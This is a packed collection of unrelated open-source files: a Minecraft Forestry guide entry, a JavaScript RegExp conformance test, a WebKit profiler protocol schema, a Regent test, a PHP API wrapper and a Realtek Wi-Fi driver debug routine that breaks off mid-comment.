{"text": "{\n\t\"title\": \"扳手\",\n\t\"icon\": {\n\t\t\"item\": \"forestry:wrench\"\n\t},\n\t\"content\": [\n\t\t[\n\t\t\t{\n\t\t\t\t\"text\": \"玩家可用扳手調節林業設備和引擎的方向。\"\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"type\": \"crafting\",\n\t\t\t\t\"locations\": [\n\t\t\t\t\t\"forestry:wrench\"\n\t\t\t\t]\n\t\t\t}\n\t\t]\n\t]\n}\n"} {"text": "// Copyright 2009 the Sputnik authors. All rights reserved.\n// This code is governed by the BSD license found in the LICENSE file.\n\n/**\n * Equivalent to the expression RegExp.prototype.exec(string) != null\n *\n * @path ch15/15.10/15.10.6/15.10.6.3/S15.10.6.3_A1_T14.js\n * @description RegExp is /AL|se/ and tested string is new Boolean\n */\n\nvar __string = new Boolean;\n__re = /AL|se/;\n\n//CHECK#0\nif (__re.test(__string) !== (__re.exec(__string) !== null)) {\n\t$ERROR('#0: var __string = new Boolean;__re = /AL|se/; __re.test(__string) === (__re.exec(__string) !== null)');\n}\n\n\n"} {"text": "/*\nPackage sockjs is a server side implementation of sockjs protocol.\n*/\n\npackage sockjs\n"} {"text": "{\n \"domain\": \"ScriptProfiler\",\n \"description\": \"Profiler domain exposes JavaScript evaluation timing and profiling.\",\n \"debuggableTypes\": [\"itml\", \"javascript\", \"page\", \"web-page\"],\n \"targetTypes\": [\"itml\", \"javascript\", \"page\"],\n \"types\": [\n {\n \"id\": \"EventType\",\n \"type\": \"string\",\n \"enum\": [\"API\", \"Microtask\", \"Other\"]\n },\n {\n \"id\": \"Event\",\n \"type\": \"object\",\n \"properties\": [\n { \"name\": \"startTime\", \"type\": \"number\" },\n { \"name\": \"endTime\", \"type\": \"number\" },\n { \"name\": \"type\", \"$ref\": \"EventType\" }\n ]\n },\n {\n \"id\": \"ExpressionLocation\",\n \"type\": \"object\",\n \"properties\": [\n { \"name\": \"line\", \"type\": \"integer\", \"description\": \"1-based.\" },\n { \"name\": \"column\", \"type\": \"integer\", \"description\": \"1-based.\" }\n ]\n },\n {\n \"id\": \"StackFrame\",\n \"type\": \"object\",\n \"properties\": [\n { \"name\": \"sourceID\", \"$ref\": \"Debugger.ScriptId\", \"description\": \"Unique script identifier.\" },\n { \"name\": \"name\", \"type\": \"string\", \"description\": \"A displayable name for the stack frame. i.e function name, (program), etc.\" },\n { \"name\": \"line\", \"type\": \"integer\", \"description\": \"-1 if unavailable. 1-based if available.\" },\n { \"name\": \"column\", \"type\": \"integer\", \"description\": \"-1 if unavailable. 1-based if available.\" },\n { \"name\": \"url\", \"type\": \"string\" },\n { \"name\": \"expressionLocation\", \"$ref\": \"ExpressionLocation\", \"optional\": true }\n ]\n },\n {\n \"id\": \"StackTrace\",\n \"type\": \"object\",\n \"properties\": [\n { \"name\": \"timestamp\", \"type\": \"number\" },\n { \"name\": \"stackFrames\", \"type\": \"array\", \"items\": { \"$ref\": \"StackFrame\" }, \"description\": \"First array item is the bottom of the call stack and last array item is the top of the call stack.\" }\n ]\n },\n {\n \"id\": \"Samples\",\n \"type\": \"object\",\n \"properties\": [\n { \"name\": \"stackTraces\", \"type\": \"array\", \"items\": { \"$ref\": \"StackTrace\" } }\n ]\n }\n ],\n \"commands\": [\n {\n \"name\": \"startTracking\",\n \"description\": \"Start tracking script evaluations.\",\n \"parameters\": [\n { \"name\": \"includeSamples\", \"type\": \"boolean\", \"optional\": true, \"description\": \"Start the sampling profiler, defaults to false.\" }\n ]\n },\n {\n \"name\": \"stopTracking\",\n \"description\": \"Stop tracking script evaluations. This will produce a `trackingComplete` event.\"\n }\n ],\n \"events\": [\n {\n \"name\": \"trackingStart\",\n \"description\": \"Tracking started.\",\n \"parameters\": [\n { \"name\": \"timestamp\", \"type\": \"number\" }\n ]\n },\n {\n \"name\": \"trackingUpdate\",\n \"description\": \"Periodic tracking updates with event data.\",\n \"parameters\": [\n { \"name\": \"event\", \"$ref\": \"Event\" }\n ]\n },\n {\n \"name\": \"trackingComplete\",\n \"description\": \"Tracking stopped. Includes any buffered data during tracking, such as profiling information.\",\n \"parameters\": [\n { \"name\": \"timestamp\", \"type\": \"number\" },\n { \"name\": \"samples\", \"$ref\": \"Samples\", \"optional\": true, \"description\": \"Stack traces.\" }\n ]\n }\n ]\n}\n"} {"text": "-- Copyright 2020 Stanford University\n--\n-- Licensed under the Apache License, Version 2.0 (the \"License\");\n-- you may not use this file except in compliance with the License.\n-- You may obtain a copy of the License at\n--\n-- http://www.apache.org/licenses/LICENSE-2.0\n--\n-- Unless required by applicable law or agreed to in writing, software\n-- distributed under the License is distributed on an \"AS IS\" BASIS,\n-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n-- See the License for the specific language governing permissions and\n-- limitations under the License.\n\nimport \"regent\"\n\n-- This tests the various loop optimizations supported by the\n-- compiler.\n\ntask g(r : region(int)) : int\nwhere reads (r) do\n return 5\nend\n\ntask main()\n var n = 5\n var r = region(ispace(ptr, n), int)\n var p = partition(equal, r, ispace(int1d, 5))\n\n var s = ispace(int2d, {2, 2})\n\n fill(r, 0)\n\n __demand(__index_launch)\n for i in s do\n g(p[i.x + i.y * 2])\n end\nend\nregentlib.start(main)\n"} {"text": "lua\nluarocks\n"} {"text": "<?php\n\n/*\n * This file is part of Sulu.\n *\n * (c) Sulu GmbH\n *\n * This source file is subject to the MIT license that is bundled\n * with this source code in the file LICENSE.\n */\n\nnamespace Sulu\\Bundle\\ContactBundle\\Api;\n\nuse JMS\\Serializer\\Annotation\\Groups;\nuse JMS\\Serializer\\Annotation\\SerializedName;\nuse JMS\\Serializer\\Annotation\\VirtualProperty;\nuse Sulu\\Bundle\\ContactBundle\\Entity\\Url as UrlEntity;\nuse Sulu\\Bundle\\ContactBundle\\Entity\\UrlType as UrlTypeEntity;\nuse Sulu\\Component\\Rest\\ApiWrapper;\n\nclass Url extends ApiWrapper\n{\n public function __construct(UrlEntity $url, $locale)\n {\n $this->entity = $url;\n $this->locale = $locale;\n }\n\n /**\n * @VirtualProperty\n * @SerializedName(\"id\")\n * @Groups({\"fullContact\", \"fullAccount\"})\n */\n public function getId(): ?int\n {\n return $this->entity->getId();\n }\n\n public function setUrl(string $url): self\n {\n $this->entity->setUrl($url);\n\n return $this;\n }\n\n /**\n * @VirtualProperty\n * @SerializedName(\"website\")\n * @Groups({\"fullContact\", \"fullAccount\"})\n */\n public function getUrl(): ?string\n {\n return $this->entity->getUrl();\n }\n\n public function setUrlType(UrlTypeEntity $urlType): self\n {\n $this->entity->setUrlType($urlType);\n\n return $this;\n }\n\n /**\n * @VirtualProperty\n * @SerializedName(\"websiteType\")\n * @Groups({\"fullContact\", \"fullAccount\"})\n */\n public function getUrlType(): ?int\n {\n return $this->entity->getUrlType()->getId();\n }\n}\n"} {"text": "/******************************************************************************\n *\n * Copyright(c) 2007 - 2011 Realtek Corporation. All rights reserved.\n *\n * This program is free software; you can redistribute it and/or modify it\n * under the terms of version 2 of the GNU General Public License as\n * published by the Free Software Foundation.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for\n * more details.\n *\n * You should have received a copy of the GNU General Public License along with\n * this program; if not, write to the Free Software Foundation, Inc.,\n * 51 Franklin Street, Fifth Floor, Boston, MA 02110, USA\n *\n *\n ******************************************************************************/\n\n//============================================================\n// include files\n//============================================================\n\n#include \"mp_precomp.h\"\n#include \"phydm_precomp.h\"\n\n\nVOID\nPHYDM_InitDebugSetting(\n\tIN\t\tPDM_ODM_T\t\tpDM_Odm\n)\n{\n\tpDM_Odm->DebugLevel = ODM_DBG_TRACE;\n\n\tpDM_Odm->DebugComponents\t\t\t=\n\t\t\\\n#if DBG\n//BB Functions\n//\t\t\t\t\t\t\t\t\tODM_COMP_DIG\t\t\t\t\t|\n//\t\t\t\t\t\t\t\t\tODM_COMP_RA_MASK\t\t\t\t|\n//\t\t\t\t\t\t\t\t\tODM_COMP_DYNAMIC_TXPWR\t\t|\n//\t\t\t\t\t\t\t\t\tODM_COMP_FA_CNT\t\t\t\t|\n//\t\t\t\t\t\t\t\t\tODM_COMP_RSSI_MONITOR\t\t\t|\n//\t\t\t\t\t\t\t\t\tODM_COMP_CCK_PD\t\t\t\t|\n/*\t\t\t\t\t\t\t\t\tODM_COMP_ANT_DIV\t\t\t\t|*/\n//\t\t\t\t\t\t\t\t\tODM_COMP_PWR_SAVE\t\t\t\t|\n//\t\t\t\t\t\t\t\t\tODM_COMP_PWR_TRAIN\t\t\t|\n//\t\t\t\t\t\t\t\t\tODM_COMP_RATE_ADAPTIVE\t\t|\n//\t\t\t\t\t\t\t\t\tODM_COMP_PATH_DIV\t\t\t\t|\n//\t\t\t\t\t\t\t\t\tODM_COMP_DYNAMIC_PRICCA\t\t|\n//\t\t\t\t\t\t\t\t\tODM_COMP_RXHP\t\t\t\t\t|\n//\t\t\t\t\t\t\t\t\tODM_COMP_MP \t\t\t\t\t|\n//\t\t\t\t\t\t\t\t\tODM_COMP_CFO_TRACKING\t\t|\n//\t\t\t\t\t\t\t\t\tODM_COMP_ACS\t\t\t\t\t|\n//\t\t\t\t\t\t\t\t\tPHYDM_COMP_ADAPTIVITY\t\t\t|\n//\t\t\t\t\t\t\t\t\tPHYDM_COMP_RA_DBG\t\t\t\t|\n/*\t\t\t\t\t\t\t\t\tPHYDM_COMP_TXBF\t\t\t\t\t|*/\n//MAC Functions\n//\t\t\t\t\t\t\t\t\tODM_COMP_EDCA_TURBO\t\t\t|\n//\t\t\t\t\t\t\t\t\tODM_COMP_EARLY_MODE\t\t\t|\n/*\t\t\t\t\t\t\t\t\tODM_FW_DEBUG_TRACE\t\t\t\t|*/\n//RF Functions\n//\t\t\t\t\t\t\t\t\tODM_COMP_TX_PWR_TRACK\t\t|\n//\t\t\t\t\t\t\t\t\tODM_COMP_RX_GAIN_TRACK\t\t|\n//\t\t\t\t\t\t\t\t\tODM_COMP_CALIBRATION\t\t\t|\n//Common\n/*\t\t\t\t\t\t\t\t\tODM_PHY_CONFIG\t\t\t\t\t|*/\n//\t\t\t\t\t\t\t\t\tODM_COMP_COMMON\t\t\t\t|\n//\t\t\t\t\t\t\t\t\tODM_COMP_INIT\t\t\t\t\t|\n//\t\t\t\t\t\t\t\t\tODM_COMP_PSD\t\t\t\t\t|\n/*\t\t\t\t\t\t\t\t\tODM_COMP_NOISY_DETECT\t\t\t|*/\n#endif\n\t\t0;\n\n\tpDM_Odm->fw_buff_is_enpty = TRUE;\n\tpDM_Odm->pre_c2h_seq = 0;\n}\n\n#if(DM_ODM_SUPPORT_TYPE & ODM_WIN)\nstatic u1Byte\tBbDbgBuf[BB_TMP_BUF_SIZE];\n\nVOID\nphydm_BB_RxHang_Info(IN PDM_ODM_T pDM_Odm)\n{\n\tu4Byte\tvalue32 = 0;\n\n\n\tif (pDM_Odm->SupportICType & ODM_IC_11N_SERIES)\n\t\treturn;\n\n\tvalue32 = ODM_GetBBReg(pDM_Odm, 0xF80 , bMaskDWord);\n\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = 0x%x\", \"rptreg of sc/bw/ht/...\", value32);\n\tDCMD_Printf(BbDbgBuf);\n\n\t/* dbg_port = state machine */\n\t{\n\t\tODM_SetBBReg(pDM_Odm, ODM_REG_DBG_RPT_11AC , bMaskDWord, 0x007);\n\t\tvalue32 = ODM_GetBBReg(pDM_Odm, ODM_REG_DBG_RPT_11AC , bMaskDWord);\n\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = 0x%x\", \"0x8fc\", value32);\n\t\tDCMD_Printf(BbDbgBuf);\n\n\t\tvalue32 = ODM_GetBBReg(pDM_Odm, ODM_REG_RPT_11AC , bMaskDWord);\n\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = 0x%x\", \"state machine\", (value32));\n\t\tDCMD_Printf(BbDbgBuf);\n\t}\n\n\t/* dbg_port = CCA-related*/\n\t{\n\t\tODM_SetBBReg(pDM_Odm, ODM_REG_DBG_RPT_11AC , bMaskDWord, 0x204);\n\t\tvalue32 = ODM_GetBBReg(pDM_Odm, ODM_REG_DBG_RPT_11AC , bMaskDWord);\n\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = 0x%x\", \"0x8fc\", value32);\n\t\tDCMD_Printf(BbDbgBuf);\n\n\t\tvalue32 = ODM_GetBBReg(pDM_Odm, ODM_REG_RPT_11AC , bMaskDWord);\n\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = 0x%x\", \"CCA-related\", (value32));\n\t\tDCMD_Printf(BbDbgBuf);\n\t}\n\n\n\t/* dbg_port = edcca/rxd*/\n\t{\n\t\tODM_SetBBReg(pDM_Odm, ODM_REG_DBG_RPT_11AC , bMaskDWord, 0x278);\n\t\tvalue32 = ODM_GetBBReg(pDM_Odm, ODM_REG_DBG_RPT_11AC , bMaskDWord);\n\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = 0x%x\", \"0x8fc\", value32);\n\t\tDCMD_Printf(BbDbgBuf);\n\n\t\tvalue32 = ODM_GetBBReg(pDM_Odm, ODM_REG_RPT_11AC , bMaskDWord);\n\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = 0x%x\", \"edcca/rxd\", (value32));\n\t\tDCMD_Printf(BbDbgBuf);\n\t}\n\n\t/* dbg_port = rx_state/mux_state/ADC_MASK_OFDM*/\n\t{\n\t\tODM_SetBBReg(pDM_Odm, ODM_REG_DBG_RPT_11AC , bMaskDWord, 0x290);\n\t\tvalue32 = ODM_GetBBReg(pDM_Odm, ODM_REG_DBG_RPT_11AC , bMaskDWord);\n\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = 0x%x\", \"0x8fc\", value32);\n\t\tDCMD_Printf(BbDbgBuf);\n\n\t\tvalue32 = ODM_GetBBReg(pDM_Odm, ODM_REG_RPT_11AC , bMaskDWord);\n\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = 0x%x\", \"rx_state/mux_state/ADC_MASK_OFDM\", (value32));\n\t\tDCMD_Printf(BbDbgBuf);\n\t}\n\n\t/* dbg_port = bf-related*/\n\t{\n\t\tODM_SetBBReg(pDM_Odm, ODM_REG_DBG_RPT_11AC , bMaskDWord, 0x2B2);\n\t\tvalue32 = ODM_GetBBReg(pDM_Odm, ODM_REG_DBG_RPT_11AC , bMaskDWord);\n\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = 0x%x\", \"0x8fc\", value32);\n\t\tDCMD_Printf(BbDbgBuf);\n\n\t\tvalue32 = ODM_GetBBReg(pDM_Odm, ODM_REG_RPT_11AC , bMaskDWord);\n\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = 0x%x\", \"bf-related\", (value32));\n\t\tDCMD_Printf(BbDbgBuf);\n\t}\n\n\t/* dbg_port = bf-related*/\n\t{\n\t\tODM_SetBBReg(pDM_Odm, ODM_REG_DBG_RPT_11AC , bMaskDWord, 0x2B8);\n\t\tvalue32 = ODM_GetBBReg(pDM_Odm, ODM_REG_DBG_RPT_11AC , bMaskDWord);\n\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = 0x%x\", \"0x8fc\", value32);\n\t\tDCMD_Printf(BbDbgBuf);\n\n\t\tvalue32 = ODM_GetBBReg(pDM_Odm, ODM_REG_RPT_11AC , bMaskDWord);\n\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = 0x%x\", \"bf-related\", (value32));\n\t\tDCMD_Printf(BbDbgBuf);\n\t}\n\n\t/* dbg_port = txon/rxd*/\n\t{\n\t\tODM_SetBBReg(pDM_Odm, ODM_REG_DBG_RPT_11AC , bMaskDWord, 0xA03);\n\t\tvalue32 = ODM_GetBBReg(pDM_Odm, ODM_REG_DBG_RPT_11AC , bMaskDWord);\n\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = 0x%x\", \"0x8fc\", value32);\n\t\tDCMD_Printf(BbDbgBuf);\n\n\t\tvalue32 = ODM_GetBBReg(pDM_Odm, ODM_REG_RPT_11AC , bMaskDWord);\n\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = 0x%x\", \"txon/rxd\", (value32));\n\t\tDCMD_Printf(BbDbgBuf);\n\t}\n\n\t/* dbg_port = l_rate/l_length*/\n\t{\n\t\tODM_SetBBReg(pDM_Odm, ODM_REG_DBG_RPT_11AC , bMaskDWord, 0xA0B);\n\t\tvalue32 = ODM_GetBBReg(pDM_Odm, ODM_REG_DBG_RPT_11AC , bMaskDWord);\n\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = 0x%x\", \"0x8fc\", value32);\n\t\tDCMD_Printf(BbDbgBuf);\n\n\t\tvalue32 = ODM_GetBBReg(pDM_Odm, ODM_REG_RPT_11AC , bMaskDWord);\n\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = 0x%x\", \"l_rate/l_length\", (value32));\n\t\tDCMD_Printf(BbDbgBuf);\n\t}\n\n\t/* dbg_port = rxd/rxd_hit*/\n\t{\n\t\tODM_SetBBReg(pDM_Odm, ODM_REG_DBG_RPT_11AC , bMaskDWord, 0xA0D);\n\t\tvalue32 = ODM_GetBBReg(pDM_Odm, ODM_REG_DBG_RPT_11AC , bMaskDWord);\n\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = 0x%x\", \"0x8fc\", value32);\n\t\tDCMD_Printf(BbDbgBuf);\n\n\t\tvalue32 = ODM_GetBBReg(pDM_Odm, ODM_REG_RPT_11AC , bMaskDWord);\n\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = 0x%x\", \"rxd/rxd_hit\", (value32));\n\t\tDCMD_Printf(BbDbgBuf);\n\t}\n\n\t/* dbg_port = dis_cca*/\n\t{\n\t\tODM_SetBBReg(pDM_Odm, ODM_REG_DBG_RPT_11AC , bMaskDWord, 0xAA0);\n\t\tvalue32 = ODM_GetBBReg(pDM_Odm, ODM_REG_DBG_RPT_11AC , bMaskDWord);\n\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = 0x%x\", \"0x8fc\", value32);\n\t\tDCMD_Printf(BbDbgBuf);\n\n\t\tvalue32 = ODM_GetBBReg(pDM_Odm, ODM_REG_RPT_11AC , bMaskDWord);\n\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = 0x%x\", \"dis_cca\", (value32));\n\t\tDCMD_Printf(BbDbgBuf);\n\t}\n\n\n\t/* dbg_port = tx*/\n\t{\n\t\tODM_SetBBReg(pDM_Odm, ODM_REG_DBG_RPT_11AC , bMaskDWord, 0xAB0);\n\t\tvalue32 = ODM_GetBBReg(pDM_Odm, ODM_REG_DBG_RPT_11AC , bMaskDWord);\n\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = 0x%x\", \"0x8fc\", value32);\n\t\tDCMD_Printf(BbDbgBuf);\n\n\t\tvalue32 = ODM_GetBBReg(pDM_Odm, ODM_REG_RPT_11AC , bMaskDWord);\n\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = 0x%x\", \"tx\", (value32));\n\t\tDCMD_Printf(BbDbgBuf);\n\t}\n\n\t/* dbg_port = rx plcp*/\n\t{\n\t\tODM_SetBBReg(pDM_Odm, ODM_REG_DBG_RPT_11AC , bMaskDWord, 0xAD0);\n\t\tvalue32 = ODM_GetBBReg(pDM_Odm, ODM_REG_DBG_RPT_11AC , bMaskDWord);\n\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = 0x%x\", \"0x8fc\", value32);\n\t\tDCMD_Printf(BbDbgBuf);\n\n\t\tvalue32 = ODM_GetBBReg(pDM_Odm, ODM_REG_RPT_11AC , bMaskDWord);\n\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = 0x%x\", \"rx plcp\", (value32));\n\t\tDCMD_Printf(BbDbgBuf);\n\n\t\tODM_SetBBReg(pDM_Odm, ODM_REG_DBG_RPT_11AC , bMaskDWord, 0xAD1);\n\t\tvalue32 = ODM_GetBBReg(pDM_Odm, ODM_REG_DBG_RPT_11AC , bMaskDWord);\n\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = 0x%x\", \"0x8fc\", value32);\n\t\tDCMD_Printf(BbDbgBuf);\n\n\t\tvalue32 = ODM_GetBBReg(pDM_Odm, ODM_REG_RPT_11AC , bMaskDWord);\n\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = 0x%x\", \"rx plcp\", (value32));\n\t\tDCMD_Printf(BbDbgBuf);\n\n\t\tODM_SetBBReg(pDM_Odm, ODM_REG_DBG_RPT_11AC , bMaskDWord, 0xAD2);\n\t\tvalue32 = ODM_GetBBReg(pDM_Odm, ODM_REG_DBG_RPT_11AC , bMaskDWord);\n\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = 0x%x\", \"0x8fc\", value32);\n\t\tDCMD_Printf(BbDbgBuf);\n\n\t\tvalue32 = ODM_GetBBReg(pDM_Odm, ODM_REG_RPT_11AC , bMaskDWord);\n\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = 0x%x\", \"rx plcp\", (value32));\n\t\tDCMD_Printf(BbDbgBuf);\n\n\t\tODM_SetBBReg(pDM_Odm, ODM_REG_DBG_RPT_11AC , bMaskDWord, 0xAD3);\n\t\tvalue32 = ODM_GetBBReg(pDM_Odm, ODM_REG_DBG_RPT_11AC , bMaskDWord);\n\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = 0x%x\", \"0x8fc\", value32);\n\t\tDCMD_Printf(BbDbgBuf);\n\n\t\tvalue32 = ODM_GetBBReg(pDM_Odm, ODM_REG_RPT_11AC , bMaskDWord);\n\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = 0x%x\", \"rx plcp\", (value32));\n\t\tDCMD_Printf(BbDbgBuf);\n\t}\n\n}\n\nVOID\nphydm_BB_Debug_Info(IN PDM_ODM_T pDM_Odm)\n{\n\n\tu1Byte\tRX_HT_BW, RX_VHT_BW, RXSC, RX_HT, RX_BW;\n\tstatic u1Byte vRX_BW ;\n\tu4Byte\tvalue32, value32_1, value32_2, value32_3;\n\ts4Byte\tSFO_A, SFO_B, SFO_C, SFO_D;\n\ts4Byte\tLFO_A, LFO_B, LFO_C, LFO_D;\n\tstatic u1Byte\tMCSS, Tail, Parity, rsv, vrsv, idx, smooth, htsound, agg, stbc, vstbc, fec, fecext, sgi, sgiext, htltf, vgid, vNsts, vtxops, vrsv2, vbrsv, bf, vbcrc;\n\tstatic u2Byte\tHLength, htcrc8, Length;\n\tstatic u2Byte vpaid;\n\tstatic u2Byte\tvLength, vhtcrc8, vMCSS, vTail, vbTail;\n\tstatic u1Byte\tHMCSS, HRX_BW;\n\n\n\tu1Byte pwDB;\n\ts1Byte RXEVM_0, RXEVM_1, RXEVM_2 ;\n\tu1Byte RF_gain_pathA, RF_gain_pathB, RF_gain_pathC, RF_gain_pathD;\n\tu1Byte RX_SNR_pathA, RX_SNR_pathB, RX_SNR_pathC, RX_SNR_pathD;\n\ts4Byte sig_power;\n\tconst char *RXHT_table[3] = {\"legacy\", \"HT\", \"VHT\"};\n\tconst char *BW_table[3] = {\"20M\", \"40M\", \"80M\"};\n\tconst char *RXSC_table[7] = {\"duplicate/full bw\", \"usc20-1\", \"lsc20-1\", \"usc20-2\", \"lsc20-2\", \"usc40\", \"lsc40\"};\n\n\tconst char *L_rate[8] = {\"6M\", \"9M\", \"12M\", \"18M\", \"24M\", \"36M\", \"48M\", \"54M\"};\n\n\n\t/*\n\tconst double evm_comp_20M = 0.579919469776867; //10*log10(64.0/56.0)\n\tconst double evm_comp_40M = 0.503051183113957; //10*log10(128.0/114.0)\n\tconst double evm_comp_80M = 0.244245993314183; //10*log10(256.0/242.0)\n\tconst double evm_comp_160M = 0.244245993314183; //10*log10(512.0/484.0)\n\t */\n\n\tif (pDM_Odm->SupportICType & ODM_IC_11N_SERIES)\n\t\treturn;\n\n\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s\\n\", \"BB Report Info\");\n\tDCMD_Printf(BbDbgBuf);\n\n\t/*BW & Mode Detection*/\n\t\n\tvalue32 = ODM_GetBBReg(pDM_Odm, 0xf80 , bMaskDWord);\n\tvalue32_2 = value32;\n\tRX_HT_BW = (u1Byte)(value32 & 0x1);\n\tRX_VHT_BW = (u1Byte)((value32 >> 1) & 0x3);\n\tRXSC = (u1Byte)(value32 & 0x78);\n\tvalue32_1 = (value32 & 0x180) >> 7;\n\tRX_HT = (u1Byte)(value32_1);\n\t/*\n\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = %d\", \"F80\", value32_2);\n\tDCMD_Printf(BbDbgBuf);\n\n\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = %d\", \"RX_HT_BW\", RX_HT_BW);\n\tDCMD_Printf(BbDbgBuf);\n\n\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = %d\", \"RX_VHT_BW\", RX_VHT_BW);\n\tDCMD_Printf(BbDbgBuf);\n\n\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = %d\", \"RX_SC\", RXSC);\n\tDCMD_Printf(BbDbgBuf);\n\n\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = %d\", \"RX_HT\", RX_HT);\n\tDCMD_Printf(BbDbgBuf);\n\t*/\n\n\t/*rsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n RX_HT:%s \", RXHT_table[RX_HT]);*/\n\t/*DCMD_Printf(BbDbgBuf);*/\n\tRX_BW = 0;\n\n\tif (RX_HT == 2) {\n\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n Mode: VHT Mode\");\n\t\tDCMD_Printf(BbDbgBuf);\n\t\tif (RX_VHT_BW == 0) {\n\t\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \" BW=20M\");\n\t\t\tDCMD_Printf(BbDbgBuf);\n\t\t} else if (RX_VHT_BW == 1) {\n\t\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \" BW=40M\");\n\t\t\tDCMD_Printf(BbDbgBuf);\n\t\t} else {\n\t\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \" BW=80M\");\n\t\t\tDCMD_Printf(BbDbgBuf);\n\t\t}\n\t\tRX_BW = RX_VHT_BW;\n\t} else if (RX_HT == 1) {\n\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n Mode: HT Mode\");\n\t\tDCMD_Printf(BbDbgBuf);\n\t\tif (RX_HT_BW == 0) {\n\t\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \" BW=20M\");\n\t\t\tDCMD_Printf(BbDbgBuf);\n\t\t} else if (RX_HT_BW == 1) {\n\t\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \" BW=40M\");\n\t\t\tDCMD_Printf(BbDbgBuf);\n\t\t}\n\t\tRX_BW = RX_HT_BW;\n\t} else {\n\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n Mode: Legeacy Mode\");\n\t\tDCMD_Printf(BbDbgBuf);\n\t}\n\n\tif (RX_HT != 0) {\n\t\tif (RXSC == 0)\n\t\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n duplicate/full bw\");\n\t\telse if (RXSC == 1)\n\t\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n usc20-1\");\n\t\telse if (RXSC == 2)\n\t\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n lsc20-1\");\n\t\telse if (RXSC == 3)\n\t\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n usc20-2\");\n\t\telse if (RXSC == 4)\n\t\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n lsc20-2\");\n\t\telse if (RXSC == 9)\n\t\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n usc40\");\n\t\telse if (RXSC == 10)\n\t\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n lsc40\");\n\t\tDCMD_Printf(BbDbgBuf);\n\t}\n\t/*\n\tif(RX_HT == 2){\n\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \" 